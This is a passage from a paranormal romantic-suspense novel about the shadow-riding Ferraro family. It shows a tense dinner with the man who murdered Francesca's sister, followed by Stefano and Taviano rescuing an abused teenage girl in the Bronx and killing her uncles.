Stefano's chair scraped and he crouched down beside her, holding her long hair out of her eyes while he examined her pale face. "He can't hurt you, _bambina_ , not ever again. Whatever he says, and he'll be very, very careful, knowing you're my fiancée. He knows I'm not the kind of man to allow him to make implications or innuendos about my woman. He'll be on his best behavior. So will we. We're going to be all smiles and politeness."
She forced air through her lungs, ashamed of her weakness. Stefano's brothers and sister had dropped what they were doing to support her. "I'm all right now. I'm sorry. I just . . . He's . . ." She sighed as she straightened slowly.
Ricco and Stefano both kept a hand on her as she stood. Of all the brothers, Ricco was the one she felt kept himself locked away, his eyes permanently shadowed, as if something terrible had happened to him, but he refused to share, to lighten his burden. He was very much like Stefano in that he was scary, maybe even more so. A dark, dangerous man seeking an adrenaline rush all the time. He was the most unpredictable and yet, he was careful of her. Gentle even. All of the Ferraros were so nice to her.
"He murdered her. All those stab wounds. The blood. I see it nearly every time I close my eyes. He would hurt any one of you just because he thinks he can. He's made himself untouchable. I don't know if I can sit across from his smiling face and not pick up a knife and stab him just as many times." She made the confession in a rush, needing them to understand she wasn't afraid _of_ Barry so much as for all of them—or of what she might do.
"But you won't," Stefano said. "Because you believe me when I tell you we're handling this. Barry Anthon will pay the price for murdering your sister and destroying the life you had."
"I can give you Cella's phone," she offered. "I don't know why I didn't before."
Taviano laughed. "Little sister, that's rich. You don't need to give it to us. We've already seen it."
"That's impossible. It's in a safety deposit box under Joanna's name. You'd need the key."
"She keeps it in her top left-hand drawer," Vittorio said. "I made a copy when I had my little chat with her, and then Salvatore went to the bank and retrieved it. Don't worry. It's back in the box. He returned it once they made a recording. We needed the evidence for the investigation."
Francesca didn't know whether to be annoyed or impressed. "What investigation?"
"We always make certain of all facts, little sister," Ricco said, sitting back down to eat more of the pasta. "We don't make mistakes."
"Thorough," Giovanni added. "It can take a while, but we know we're right before we make a move."
Francesca threaded her fingers through Stefano's. "That's why you waited on the girl, isn't it? You had to make certain."
Stefano nodded. "Our solutions tend to be permanent. We can't afford mistakes."
She liked that. The fact that they took their time to make absolutely sure, even if they wanted to move on something—as Stefano clearly did with Nicoletta Gomez—made her certain she was right to trust Stefano.
"I was about to tell you that I have to go out of town tomorrow. Giovanni and Taviano will go with me. It will appear that only the two of them will board the plane and I've stayed here with you. Emmanuelle, Ricco and Vittorio will be with you at all times. Barry Anthon won't get close to you, but if you need me here, Francesca, now that you know Anthon is close, I'll delay the trip."
"No. Of course not. I've seen Emme in action, and if I decide to go crazy and go after Barry, I have no doubt she can stop me."
"You're sure."
She looked him in the eye. "You get her out of that situation. More than anything else, I want that. I was afraid for the people around me, Stefano. Barry destroyed my life and he beat me down. I came to Chicago with the idea of building myself back up. I planned to find a way to go after him. Believe me, I wouldn't have allowed him to get away with my sister's murder. He's going to pay."
Stefano brought her hand to his mouth and gently scraped his teeth back and forth over the pads of her fingers. "That's my woman." There was pride in his voice.
The hotel phone rang. The room went still. Stefano, keeping possession of her hand, tugged until she went with him across the room to answer it. It was the front desk telling him he had a visitor, a friend from out of town, Barry Anthon. Could he come up on such short notice? Yes, he was alone. Stefano answered easily. "Sure, tell him we're just finishing dinner and Emilio and Enzo will bring him up."
Time slowed down instantly for Francesca. There was a strange buzzing in her head. She could see the kitchen counter from where she stood and her gaze fixed on the butcher block of knives. They weren't just any knives. They were a chef's weapons in the kitchen, precise and sharp beyond measure.
Stefano's fingers closed around her upper arm like a vise. She hadn't realized she'd taken a step toward the kitchen when he pulled her up close to his body. His hand spanned her throat, thumb tipping her head back, forcing her eyes to meet his.
"You trust your man, Francesca. You put yourself in my hands. You committed to me. That means I have your trust. It may not be the latest trend, or the modern concept of what a partnership is, but you chose me and I chose you. I will never be anything less than the man in our relationship. Trust me to take care of you properly. I will always do my best for you. You do what I say in this matter—do you understand me?"
She moistened her dry lips with the tip of her tongue. "What are you saying?"
"You don't ever do violence, Francesca, not unless it's self-defense or in the defense of our family. I won't have that on your soul. You're going to be my wife. The mother of my children. You're about love and softness. Not killing. Never that. This man has harmed you. He murdered a woman who would have been my sister. When we're ready, the family will strike. Until then, you do _exactly_ what I say." He turned and gestured toward his silent siblings. "What they say. This is our field of expertise."
She closed her eyes, not wanting to see the killer in him, because it was right there, exposed, his eyes flat and cold. Impersonal, when she could never be. She could kill Barry Anthon, but she could _never_ be that objective or detached about it. She might regret taking a life later. She didn't know, but she feared she might.
There was silence in the room. Waiting. Stefano was patient. His revelation came as no surprise. She'd known all along what kind of man he was. He controlled his world and would expect to control his household—especially his wife. A million objections ran through her mind, but she really didn't feel them. She knew Stefano now and she knew him to be a fair man. He wouldn't be a tyrant or dictator, but he would definitely expect her to follow his lead in their marriage.
Her eyes searched his. His gaze was steady. He didn't even blink. She had no doubt that he would take care of Barry Anthon, but he would do it safely. Much safer than she could ever manage.
"I hear you, honey," she said softly. "Tell me what you want me to do."
"Sit between Ricco and me. Keep your hand in mine. No matter what he says or what any of us say, you stay quiet. Try not to look at him triumphantly, or with anger. If you can't do that, and I don't expect you to be a great actress, then just keep your eyes down. Barry would never buy a change of heart from you, but don't go as far as open hostility. We aren't quite ready to take him down. If things are too difficult, look to Emmanuelle. She'll pull you out."
Francesca took a deep breath. Inhaled Stefano. She feared once Barry entered the room she wouldn't be able to breathe properly. She didn't want to take the chance of drawing him into her lungs. He was in her nightmares; he didn't get anything else from her.
She took a slow look around her at Stefano's siblings. All of them stood as still as statues. Beautiful, gorgeous specimens of human beings, tough and dangerous, waiting for her signal, completely prepared to protect her at any cost. Her gaze drifted back to Stefano's face. The angles and planes could have been immortalized in stone. She saw everything there, everything she ever wanted.
"Okay." She hesitated and then was compelled to issue a warning. "Barry Anthon is a monster. He'll give you his innocent face and all the while plan to stab you in the back."
"We have a lot of practice at this, Francesca," Emmanuelle reassured. "We've been playing to the public for years. We cultivate the paparazzi, feeding them the stories we want them to publish, giving them the pictures and images so we're controlling everything for our own purposes. We've got this."
"Barry is on the racetrack, trying to throw his weight around frequently," Ricco added, his voice low, contemptuous. "He likes to be the big man, but let me just say this, little sister: that poor excuse for a human being has nothing on us when it comes to manipulation or playing to the camera. He'll believe us. Just follow our lead and look to us if you get in trouble. You're _famiglia_. Sacred to us."
She was finally getting that the entire Ferraro family actually felt that way and it gave her a very much needed warm feeling. She smiled at them all, rubbing her hands up and down her arms, grateful to them. "I really appreciate you all."
The cold, frozen place inside of her that knew Barry Anthon would try again to destroy her was beginning to thaw a little. "I don't actually believe he's that afraid of me or the evidence I have against him. That's one of the reasons I didn't take Cella's phone to the FBI or another law enforcement agency. There's evidence of wrongdoing, but nothing really connects him other than his handwriting. Any competent lawyer would get him off if that's all they had against him."
She pushed a hand through her hair. "I think Barry likes terrorizing people. It gives him a feeling of power. He likes destroying lives just because he can. Just like he wants women to fall in love with him so he can destroy them that way."
Ricco and Stefano exchanged a long look. Ricco grinned. "You're correct, Stefano. She's not only beautiful—she's a gift."
Francesca had no idea what that meant, but it was sincere and made her blush.
"That's exactly right, Francesca," Stefano agreed. "He's a sociopath. He can be charming to get his way, but anyone who crosses him is going to be mowed down one way or another. He's been destroying others ever since he was a little boy. I think his own mother is afraid of him. If he hadn't been born into the Anthon family with their money, he'd already be in jail."
The elevator _pinged_ a warning and Stefano's arm swept around her, bringing her front to his side, locking her there under the protection of his shoulder. Francesca pressed her hand to his rock-hard abdomen. She could feel his heat and the reassuring muscles beneath the thin tee. Her throat went dry and her heart pounded when she heard Emilio's voice announcing Barry Anthon. She couldn't look. She didn't dare. She did trust Stefano and the others to take care of Barry—eventually. That didn't mean she didn't have the compulsion to jump on him and beat him with her fists. It would hurt like hell, but it would be satisfactory.
"Barry," Stefano greeted. "What a surprise. I had no idea you were in town."
Stefano's voice was calm, matter-of-fact, not at all as if just minutes earlier he had been assuring Francesca that he would be taking care of a murderer in a very permanent way. Keeping his arm tightly around her, he walked into the foyer to greet their guest.
"Good timing," he added. "The family's here tonight."
"I didn't mean to interrupt your dinner," Barry said.
Her stomach lurched. She would know that voice anywhere. He sounded so normal. Genial even. She knew evil lurked under that first layer in his tone because she heard it. The snide contempt for everyone around him. She wondered if the others could hear it as well. Cella hadn't been able to, and in the end she paid the ultimate price.
Stefano's fingers bit into her waist hard enough to hurt. She forced her lashes to lift and found herself looking directly into Barry's eyes. There was speculation there. A watchful, sardonic smirk for her alone. She refused to rise to the bait. She didn't smile in welcome; she couldn't manage even a sarcastic smile and he would never believe it anyway.
"I believe you know my fiancée," Stefano said.
Barry inclined his head. "I do. I was in love with her sister, Cella, a beautiful woman. I'm afraid Francesca didn't approve of the match. I had hoped, over time, to win her over, but unfortunately Cella was murdered and Francesca had to place blame somewhere. It fell squarely on my shoulders. I'll admit I was surprised that you two had met, let alone gotten engaged. Francesca and her sister didn't exactly run in our circle."
There was no faulting anything he said, or even his tone of voice, but he still managed to reduce her to the jealous, younger sister who refused approval of her older sister's relationship for petty reasons. He also had subtly pointed out that Francesca and Cella weren't members of the elite upper echelon and she didn't have his money or education. She didn't belong.
That did make her smile. She belonged to Stefano. With Stefano. She felt the others moving closer, taking her back. She belonged to the Ferraro family, and no one fucked with a Ferraro. She lifted her chin. "There is some truth in there. My sister and I certainly never have run in your circle, Barry. As for blaming you, I blame the man who murdered my sister so viciously and I always will."
Stefano's fingers bit down again. He waved toward the great room. "Come sit down and tell us what you're doing in town."
Barry followed Stefano and Francesca into the spacious room and, after greeting the other Ferraros, took the armchair closest to Emmanuelle. Of course he would choose the one female Ferraro. Barry believed himself to be irresistible to women. He would flirt with Emmanuelle and try to get an ally in the enemy's camp. Francesca wondered if that was what Valentino Saldi was doing and if that was what made Emmanuelle so angry with him whenever they met. No one wanted to be used.
Stefano directed her to the long sofa. He sat close to her, keeping her tightly against him, her hand pressed to his thigh. Ricco sat on the other side of her, almost as close as Stefano. She could feel his body heat and the wave of menace pouring off him. It was tangible enough that Stefano sent him a quelling glance. Secretly, Francesca wanted to hug Ricco. He didn't like Barry's subtle attack on her.
"What brings you to town?" Ricco asked, sounding every bit as pleasant as Stefano. He gave Barry a shark's smile, all white teeth and politeness.
"There's a company in town I was looking into," Barry admitted. "It might be worth my time to either turn it around or sell it off piece by piece. I heard about the engagement and saw some of the really nasty articles written about Francesca. I thought I might speak on her behalf so none of you would jump to the wrong conclusions about her. After all, she could have been my little sister."
It took every ounce of discipline she had not to launch herself at Barry. Her fingers curled into claws, nails digging into Stefano's thigh. He didn't wince, but he did smooth caresses over the back of her hand. The nerve of Barry Anthon, to act like he would or ever could "speak on her behalf."
Vittorio laughed softly. "No one has to speak on Francesca's behalf, Barry. We're all in love with her. How could anyone help be anything but in love with her? The things the paparazzi dug up are all in the past. It's just enough to feed the frenzy and to be interesting, but not enough to be a huge scandal, although we've never shied away from that."
The siblings all laughed. Francesca managed a faint smile. Stefano grounded her with his absolute confidence. The family helped with their unconditional support.
"That's good then. Great," Barry said. "Such a relief. Francesca is a great girl. I had hoped we'd become good friends since we shared the love of her sister." He lifted his eyebrow at Francesca. "Perhaps one day. Have you set a date for the wedding, Stefano?" Clearly he didn't believe for a moment that Stefano was really marrying her. It was there in the subtle sneer.
Emmanuelle clapped her hands together. "I've been seeing to all the details. Francesca feels a little railroaded, I'm sure, but my mother and I are following Stefano's orders to the letter. He wants to marry his lady immediately and since we're all in total agreement, we can't put the wedding together soon enough."
"Do you feel railroaded, Francesca?" Stefano asked, his eyes meeting hers. Voice soft. Low. Intimate. He brought her fingertips up to his mouth and nibbled, looking for all the world as if he might devour her right there in front of everyone.
She shook her head, allowing Barry to see the truth—that she was absolutely mesmerized by Stefano, completely in love with him. Barry would never have that kind of devotion and love from anyone because he couldn't feel it himself. He could never sustain his interest long enough for a woman to find herself completely and utterly in love. He needed power over and then the destruction of his pretty toys long before true devotion ever happened.
"Will you be in Chicago long, Barry?" Taviano asked.
"Enough that I rented an estate for the month. I'd like to close this deal." He winked at Emmanuelle. "Plenty of time to hit the clubs and maybe have a dinner or two with your sister." His voice held complete confidence.
"Barry, you're such a flatterer." Emmanuelle batted her eyelashes at him. "And so brave with all my brothers sitting around you like a bunch of hawks. The last man who tried to take me out ended up in the hospital for two weeks. He had thirty-seven stitches in his head and no one was altogether certain if he would ever be able to function properly, if you know what I mean."
Barry's smile slipped. Her voice was very bright, almost as if she was teasing him, but she sounded serious enough. Francesca looked up at Stefano. He grinned, as if the memory was a happy one. Ricco cracked his knuckles.
Giovanni sighed. "We're not taking the blame for that one, Emmanuelle." He shook his head at Barry. "She did that one all on her own."
"Seriously?" Barry looked Emmanuelle up and down. She was small, almost slight. She had a good figure, but she was much smaller than her brothers. "I can't see that happening."
"It's true," Emmanuelle said with a casual shrug.
"He attack you or something?"
"He did that, he'd be dead," Stefano said.
"Then what?" Barry insisted.
Emmanuelle rolled her eyes. "I was PMSing, okay? No big deal. I told him to back off a couple of times and he wouldn't. He should have listened. I warned him twice."
Barry looked around at all her brothers and then he laughed nervously. "Good one, Emmanuelle. I almost believed you."
"Where are you staying, Barry?" Giovanni asked.
"The Mardsten estate. It's very private. I brought my own security with me. I've had a few threats lately. Someone's been after my design for a new racing engine."
"That's right," Stefano said. "Your company has been in the developing stages for a few years now for a new engine. Is it finally finished? Are you ready to debut it on the track?"
"Not quite yet, but we're close."
"You stole Martin Estee away from Aeronautics, didn't you? That was quite a coup. As a designer, he's the top in the business," Ricco stated. "You got lucky, especially if he manages to design you something new. We've been working on our own for a while now."
Vittorio nodded. "We'd give anything to be able to lure Martin away from you."
"Although you, Taviano and Emme have done a good job for us," Stefano pointed out to his brother. "Our last cars have kicked ass."
Barry shifted forward, his brows coming together. "You three designed your engine?"
"Mostly Taviano," Ricco said. "He's our ace in the hole."
Francesca watched Barry's face closely. His facial expression had frozen, his eyes going killer cold. She shivered and wanted to protest, to do anything to draw attention away from Taviano. Didn't they all realize they were painting a target in the middle of Taviano's forehead? Barry didn't like to be bested, and the Ferraros were winning races. Ricco was an excellent driver. He'd won race after race and more than once he'd left Barry's car in the dust.
Giovanni glanced at his watch and excused himself, heading for the elevator after brushing a kiss on first Emmanuelle's forehead and then on Francesca's. His siblings gave him a brief wave. Barry didn't even seem to notice. He was frowning at Stefano.
"I had no idea Taviano liked to design and build engines," Barry said.
Stefano shrugged. "He doesn't like the spotlight much."
"It isn't just me," Taviano objected modestly. "Vittorio and Emme fixed a few problems for me. Ricco managed to add more power when we thought we were already at max. So it's a group effort."
Francesca allowed the talk of the racetrack and cars to flow around her. Stefano and Ricco stayed in charge of the conversation, expertly slipping in a question every now and then and keeping Barry from addressing Francesca. Their siblings followed their lead, providing interesting conversation and asking questions that followed most naturally. None of them seemed as if they were conducting an interrogation, but Francesca was certain they were learning all sorts of things Barry didn't have a clue they were getting out of their casual conversation.
Taviano served the drinks that Vittorio made, and they kept Barry's flowing, while they only appeared to be keeping up with him. Francesca nursed the one drink Stefano had insisted she take. She was afraid that if she got a little tipsy, she'd tell Barry just what she thought of him and then she'd go after him with teeth and nails.
Barry liked his alcohol and Vittorio was being generous in mixing his favorite gin and tonic. Within an hour and a half, he was slurring his words and getting a little belligerent toward Stefano and especially her. He kept getting in little digs. Suddenly he went silent for a few minutes while the talk between the brothers and Emmanuelle swirled around him and then he jabbed a finger toward Francesca.
"What?" She couldn't keep the belligerence out of her voice.
"How'd you like being locked up in the mental hospital?" he challenged with a sneer. "Did they put you in a straitjacket? I would have given anything to see that. Beautiful little perfect Francesca, all wrapped up like a gift. I heard some of those orderlies love to fuck the patients when they're all tied up like that. That happen to you? Did one of them sneak into your room at night? Maybe you enjoyed it . . ."
Stefano hit him at the same time Ricco did. Hard. The sounds were so loud Francesca cried out. She hadn't seen Stefano or Ricco move, but they were across the small space and both simultaneously punched Barry on either side of his face. She swore there was an audible crack and then Barry was screaming and throwing wild punches.
Emmanuelle stood up calmly and held out her hand to Francesca. "Let's go in the other room while the boys are playing."
She pulled Francesca out of her seat while Francesca stared with horrified eyes at the two brothers beating Barry to a bloody pulp.
"You have to stop them, Emmanuelle."
"Why in the world would I do that?" She kept tugging determinedly on Francesca's hand until they were in the kitchen. "Drunk or not, that moron is responsible for what he says. Taunting you like that is totally unacceptable, and doing it in front of my brothers is like waving a red cape at a bull. Seriously stupid. He deserves everything he's going to get."
"I don't want to have to visit my husband in jail. Or any of his brothers. I don't give a damn what Barry says. He took away my sister. Saying crap to me is _nothing_. Stefano is only going to make him angry. Really, really angry. Barry Anthon is all about being superior, and pride is everything to him. He'll retaliate . . ." She broke off, her hand to her mouth. "Oh. My. God. They're beating the crap out of him, poking sticks at a rattlesnake to stir him up."
Emmanuelle grinned at her. "They never do that sort of thing without a really good reason. In this case, they had two very good reasons, aside from the fact that it's going to make them all feel happy, beating up a monster like that. Barry won't go to the cops because he'll want to retaliate and he won't want a record of this." She glanced at her watch. "Giovanni should be back anytime with a full report on Barry's rented estate. We'll have the layout and maybe even an idea of his plans."
"Giovanni went to the place where Barry's staying?"
"Did you think we were getting him to talk about where he was staying because we were interested?" She slid onto one of the tall chairs at the counter and leaned her head into her hand. "Let's talk weddings. That's so much more interesting than Barry Anthon."
# CHAPTER TWENTY-ONE
Stefano stood between his brothers, searching out the best shadows that would lead him to his chosen destination, the Bronx. He had a very bad feeling about this particular job. Something inside him kept urging him to move faster, to get it done. A shadow rider couldn't afford to make one mistake. He was the protector of his family—the _entire_ family in every city or town around the world. He was their key to survival.
Each move was planned carefully and meticulously. They never cut corners and they never hurried. They never made anything personal. If anything happened to a member of their family, they called in cousins—investigators and riders—from another city. That way, there was never any blowback or suspicion. Still, if he weren't so disciplined, if it wasn't so ingrained in him to check and recheck every single fact before entering the tube for the ride to the final destination, he would have given in to the urgency pushing at him so hard.
"I'm not feeling good about this one," he confessed to his brothers. He stood just behind Giovanni and Taviano as they blocked him from the possibility of prying eyes as well as any cameras the paparazzi might have on them.
Below them, their New York cousins had arrived, music blaring, ready to take Stefano's two younger brothers to several clubs, where the members of Salvatore's family would be gathered publicly so there was no way, come morning, anyone would suspect them of having anything at all to do with any deaths in the city. No one would ever be able to connect the New York family, even in the event the social worker who had originally gone to the Ferraro greeters in New York and had laid out the problem of the seventeen-year-old girl changed her mind and went to the police. The chances of that happening were slim, but still, the Ferraros paid attention to every possibility and planned for it.
"I can get 'sick' or drink too much and have to go to my hotel room, or back to Salvatore's," Taviano offered, frowning straight ahead. They didn't make amateur mistakes like looking over their shoulder while talking to their brother. "I'll meet you there and back you up. The gang her uncles belong to is one of the bloodiest in New York."
There was worry in his voice and Stefano couldn't blame him. Not once had he ever admitted to the feeling of urgency and that something might be wrong, because it had never happened before. He hesitated, wondering if he should have his brother come along. The feeling in his gut was very, very strong. He'd never once ignored his built-in warning system. Still, the high-profile visibility of his family members partying with local family members was what kept their family safe from suspicion.
"We stick to the plan," Stefano said after a moment's pause. "I'll contact you the minute I'm clear and back on the plane."
"We'll be waiting," Taviano murmured. "Have you chosen your ride?"
"It's a go. I'll be slipping out right behind you. Franco will take care of the plane so we're ready to get back home as soon as possible. I don't like leaving Francesca with Anthon in town."
Giovanni smirked at his cousins as they hurried toward the plane, waving their arms and shouting to hurry up. "Anthon bit off more than he could chew. He's not going anywhere for a few days."
"Ricco, Vittorio and Emmanuelle will make certain she's safe," Taviano added.
Stefano knew that, but they weren't going to be in bed with her when the nightmares came. He didn't like her being alone. He also didn't like being away from her whether Anthon was in town or not. He wasn't about to admit that to his brothers. He'd never hear the end of it.
"Let's get this done," he said, signaling his brothers to descend the stairs to the tarmac below.
He'd chosen his shadow. It was one that was wrenchingly fast. He would begin the ride into the city, heading toward the Bronx as quickly as possible. His gut feelings had always proven to be true and he wasn't about to ignore this one. He had a sense of urgency that told him something wasn't right and he needed to move.
He stayed close behind Giovanni until his shadow connected with the one he needed. The stripes in their suits, so thin as to be barely discernible, helped to camouflage the brothers as they stepped off the plane onto the stairs. The specially made suits blended with every shadow so that the Ferraro riders disappeared, making them indistinct.
Stefano stepped into the mouth of the tube and allowed it to absorb him. The pull was tremendous, that terrible pulling and twisting as his body was literally wrenched into the shadow. Then he was moving, sliding fast, thinking of Francesca. He didn't want this for her. She was capable. Her shadow proved that, but he didn't want her to be a rider. He wanted her to be safe. He wanted a life for her. Most of all he wanted her to make a home for him and his children.
New York City flew by. He didn't try to see the events happening around him as he moved from shadow to shadow. He couldn't save the world. That wasn't his job. He could only help a select few. Only when asked. Only when they were certain. He was certain about this girl, and on some level, Francesca had recognized that the situation was dire. She didn't flinch when he kissed her good-bye and left her, knowing Barry Anthon was in town.
His mother had been born a Ferraro, a shadow rider. She was trained from the time she was two, just as he had been, just as his children would be. She hadn't found the man she could love and her marriage had been arranged. Her partner had been a rider as well, from Sicily, but he'd never been trained. The moment he found out about his wife's legacy, he thought riding the shadows was glamorous, a powerful skill he was determined to acquire.
Phillip took the Ferraro name, caring nothing for the strict code they were taught. He had no intention of building a home with Eloisa. He married her thinking to acquire power and money. Eventually, he came to understand what the family was about, but that didn't make him want to stay home with his children or participate in their lives or training in any way. The shadows allowed him to keep his affairs discreet, although Eloisa knew what he did.
Their marriage deteriorated even more after their youngest son, Ettore, died while riding a shadow. Phillip spent less and less time at home, and Eloisa wrapped herself up in charity events and stayed away from everyone but her sisters and brothers.
Stefano couldn't understand why her children never interested her. She always demanded a report the instant they returned from a job. She made certain she was involved in every aspect of the family business and she and Phillip had taken over the job of greeters after her parents died.
Neither Eloisa nor Phillip wanted a divorce. In their world, once two shadows were connected and totally interwoven, breaking those shadows apart was a frightening prospect. The riders would lose all ability to ride the shadows and the departing non-Ferraro partner would lose all memory of the family and what they did.
It was imperative that Stefano have Francesca's full commitment. If she left him after finding out what they did, if they were already connected, their shadows tightly interwoven, she wouldn't suffer because she wouldn't remember loving him. But he would. He would never ride again—something he was born to do—and he wouldn't forget her and the love he had for her. He wouldn't forget what it was like to ride inside a portal. Interwoven shadows couldn't just be ripped apart without consequences, once they were joined together. Stefano was born a rider. It was a hard life, but it was who he was. What he was. He couldn't imagine living a half-life, remembering, but without the ability. He knew the few riders who had lost their partners that way had suicided or disappeared, unable to stay around the family.
Stefano changed tubes again, this time in the Bronx, finding the one that would get him closest to the home of Diego, Alejo, and Cruz Gomez, the uncles of Nicoletta. Nicoletta's mother and father were both from Sicily. Nicoletta's father died when she was two and her mother remarried when she was four. Her husband, Desi Gomez, adopted Nicoletta. When she was fifteen, her parents were killed in a car accident and she was sent to live with her three uncles. Her life had turned into a nightmare.
Diego, Alejo, and Cruz were all members of a very violent gang. The gang was notorious among law enforcement for running drugs, prostitution and human trafficking. They fought turf wars continuously, always looking to expand and to swallow other gangs. A young, innocent girl from a completely different way of life had no business being thrown to the wolves.
The sad part was, he knew he was already probably too late to really save her. Nicoletta had been living a nightmare for two years. That would take its toll and there was no going back from those kinds of scars. The investigators' report had been long, listing the numerous beatings, the suspected rapes and abuse the girl had received at the hands of her three stepuncles. How was she supposed to recover from that?
The tube brought him nearly to the very side of the house where a narrow strip of weeds separated the Gomez home from the one next door. The houses all along the street were run-down, paint faded and chipped. The front steps were sagging. There were bars on all the windows and bullet holes in the siding. The front porch had old, worn furniture covered in sheets and blankets on it. A couch. Two chairs. A lawn chair.
Stefano took a careful look around, up and down the streets. The overhead streetlamps had long since been shot out. No cop was going to be patrolling the street. Debris swirled in the gutters and rushed down the street in little eddies. Several men were gathered on various porches, talking, drinking, and in one case, shooting up with a needle.
He could hear them talking, and one of them said the name Nicoletta. He chose a shadow that would bring him close to the group of men he knew were members of the same gang the Gomez brothers were in. He recognized the big man sitting on the stairs, his hand wrapped around the neck of a bottle of whiskey, his eyes on the Gomez house.
"They'd better fucking bring her out soon, or I'm going in after her," he snarled, wiping at his mouth with the back of his hand. "I told Diego to turn her over to me or the three of them are dead men."
The man was Benito Valdez. He was all muscle and scars from the years he'd spent in and out of prison. A great brute of a man, he scared most people just by looking their way. Even in prison he'd remained the leader of the notorious gang, running it from his prison cell. No one crossed Benito Valdez and remained alive. He had four brothers who were just as brutal as he was.
It didn't surprise Stefano that Nicoletta had caught Benito's eye. Even at seventeen she was beautiful. Every single picture clearly showed her physical beauty, the full, lush curves of a woman rather than of a girl. Every report had included the word _beautiful_ in front of _girl_. Evidently Benito had waited long enough, or he was worried the Gomez brothers would eventually kill her. There was no doubt that Benito wanted the girl for himself. It was no wonder he had a feeling of urgency.
Stefano rode the tube back to the Gomez house and studied the layout in front of him. He couldn't rush, no matter the growing sense of apprehension. He slipped out of the tube into the shadowy depths between the two houses and used the burner phone. "In position." His gut churned. Anxiety burned through his nerve endings, the sense of urgency increasing. For the first time, he had to take some deep breaths to restore his normal calm. The wait seemed as if minutes ticked by slowly while in reality it was no more than a few seconds.
"You have a go."
He snapped the phone shut, knowing he would have entered the house to check on the girl even if the answer had gone the other way. There was no payment on this one. A favor in return, but no payment. The social worker had no money, but she was willing to provide information when needed to the family. Stefano knew the New York family probably would never need to collect, but it didn't matter. The problem had been brought to them and they had taken it on, investigated and sent for riders out of Chicago. The family charged their criminal clients enough to compensate for all those they didn't ask monetary pay from.
Stefano looked the shadows over and found one that ran up the front steps, beneath the door and into the house. There were lights on, but not a lot, not overheads, which meant there would be shadows inside the house. Movement caught his eye and he whirled to face the threat. Taviano stood just inside the shadows beside him.
"What the hell are you doing here?" Stefano didn't know whether to be relieved or angry. No one went against his decisions, yet there was his younger brother.
"I had the same bad feeling, Stefano," Taviano said. "It's getting worse and there's no ignoring it. Don't worry. I covered my tracks. I'll tell you about it back on the plane when we have this done."
Stefano nodded. He wasn't about to waste time arguing. He found he was grateful for Taviano's presence. If his younger brother had the same bad feeling, something was definitely off.
Stefano had already chosen his tube and he stepped into the shadow, allowing it to carry him inside. Taviano rode the shadow next to the one he was riding. The moment they were in, he knew they might be too late. He heard voices. Three men, very distinct. Taunting. Amused. Cats playing with a mouse.
"Put it down, Nic. You wave that thing at me, I'll cut your throat with it." Low. Furious. Didn't mean what he said, but capable of great violence. Stefano was certain that was the one called Diego. He had a reputation for enjoying his kills.
"Stay away from me." A sob. Nicoletta sounded young and very scared.
"I told you, bitch, you don't cooperate with Benito, he'll sell you. You'll end up living the rest of your life flat on your back, chained to a bed, fucked by every man sent up to you. Better Benito than that. You choose." That voice rang with honesty. With authority. He was the leader of the three. That one had to be Cruz. Cruz knew if he didn't turn over the girl to the leader, he was a dead man.
"Nicoletta, put the knife down," the third voice, probably Alejo, said. Coaxing. Amused that she thought she could defy them. A worried undertone that Benito was already going to be angry because they hadn't brought Nicoletta to him immediately.
"I can't do this anymore." The desperation in the girl's voice caught at him.
Stefano took the shadow right through the house directly to the room where all four Gomezes were grouped. Taviano rode his shadow completely across the room. Both shadows instantly connected to the shadows playing throughout the room. The men felt the jolt of connection. Small feeler tubes ran from Nicoletta's shadow to merge with theirs. They could feel every emotion. Her terror. Her determination.
Nicoletta pressed herself against the window. Her clothes were torn. Her face was swollen and bruised. Blood trickled down her cheek from a cut over her eye and more dripped from her cut lip. There were bruises on both arms. Fingerprints around her neck. She'd been beaten repeatedly, but she'd fought back. He could see defensive wounds on her arms and hands. Even her knuckles were bruised. She had fought them hard.
"Nicoletta." Cruz stepped closer. He was worried, his eyes on the knife. "You can't fuck around with Benito. Put the knife down and just come with us. Alejo packed some of your favorite clothes. In a few days, Benito will let you come get the rest of your things. Put the knife down."
She made a single sound. Despair. Horror. Desperation. Stefano knew it was too late to stop her. He wasn't close enough to her. She lifted the knife, turned it toward her own body, ready to plunge it into her chest. Stefano's breath hitched. He read the determination on her face. The three men must have seen it as well. Alejo reached toward her imploringly, as if he could stop her that way. Cruz, the leader, leapt for her. Diego remained absolutely still, a look of horrified fascination on his face. If she died, all three of the brothers knew Benito would kill them.
Taviano got to her first. His shadow had taken him behind her and he emerged, catching her wrist from behind, fingers ruthlessly finding pressure points so that she had no choice but to drop the knife. She cried out and struggled, fighting desperately as Taviano subdued her, trying not to hurt her. He was completely exposed, out of the shadow and all three of the brothers saw him clearly.
Stefano burst from the tube behind Diego, catching his head between both hands and wrenching hard, in the most basic kill move he'd been taught since he was a child. He dropped the body on the floor and entered the tube to slide up behind Alejo. He killed him in the same manner. Quick. Without mercy. Completely impersonal, although he had to work to keep himself under control.
Cruz heard the bodies fall. It had only taken seconds to kill both men while Cruz's attention was centered on Nicoletta and Taviano. He whipped out a gun and pointed it at Nicoletta's head even as he looked frantically around the room. He'd caught flashes of the intruder, but only that, a shadowy figure that moved too fast to see.
"I'll fuckin' kill her," he snarled, meaning it.
Taviano shoved Nicoletta behind him, using his body as a shield. She let out a soft little cry, a protest maybe, a shocked gasp that anyone would stand up to her uncles and deliberately put their body in front of a gun for her.
"Who the hell are you? How'd you get in here?" Cruz demanded, the gun rock steady. His eyes kept darting to the two bodies on the floor. Neither moved. Neither made a sound. They looked dead, but no one else appeared to be in the room. He'd watched Taviano struggling to keep Nicoletta from killing herself. They'd both been right in front of him so who had killed his brothers?
Stefano came up behind him, emerged from the tube and locked onto his head. The moment his hands fastened on Cruz's skull, the man pulled the trigger, but Taviano had already dove for the floor, taking Nicoletta with him, covering her body with his own.
Cruz tried to fight back, to turn the gun on the opponent he couldn't see, but Stefano had been practicing the move since he was two years old. It was as easy for him as breathing. He snapped the man's neck and dropped the body. "Justice is served," he murmured.
Silence fell, broken only by Nicoletta's ragged breathing. Taviano rolled off of her and stood up, reaching down for her. She cringed away from him, lifting her hands defensively. He caught her wrists in a gentle grip and pulled her to her feet. Her horrified gaze went to the bodies on the floor.
"Don't look at them," he ordered softly. "Look only at me."
Her eyes jumped to his face. She stood, her body trembling, breathing labored, her gaze caught and held by his. The light from an overhead bulb, dim now from age, threw out shadows. He could see hers, a dark shape on the wall and floor, tubes running from it to connect with every shadow in the room, including theirs.
His heart slammed hard in his chest. He could feel her every emotion. Fear was uppermost, but there was relief, not commendation. Mostly, she was confused. Disoriented. In shock. Very, very painful.
"She's a rider," Taviano whispered aloud.
